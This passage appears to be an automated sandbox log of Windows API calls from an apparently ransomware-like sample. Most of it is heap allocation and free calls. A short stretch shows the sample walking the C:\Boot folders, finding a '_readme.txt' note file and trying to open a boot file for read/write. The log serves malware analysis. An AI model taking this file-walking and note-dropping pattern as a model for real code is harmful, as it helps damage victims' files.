returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.544] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.545] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.545] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0059.545] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.545] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.545] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.546] PathFindFileNameW (pszPath="") returned="" [0059.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.546] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.546] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.546] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.546] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.546] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0059.546] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.546] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0059.546] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.547] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.547] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.547] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0059.547] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.547] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.547] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned=".txt" [0059.547] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13af1b30, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.547] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.547] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.547] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.547] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.547] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.548] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.548] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.550] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.551] 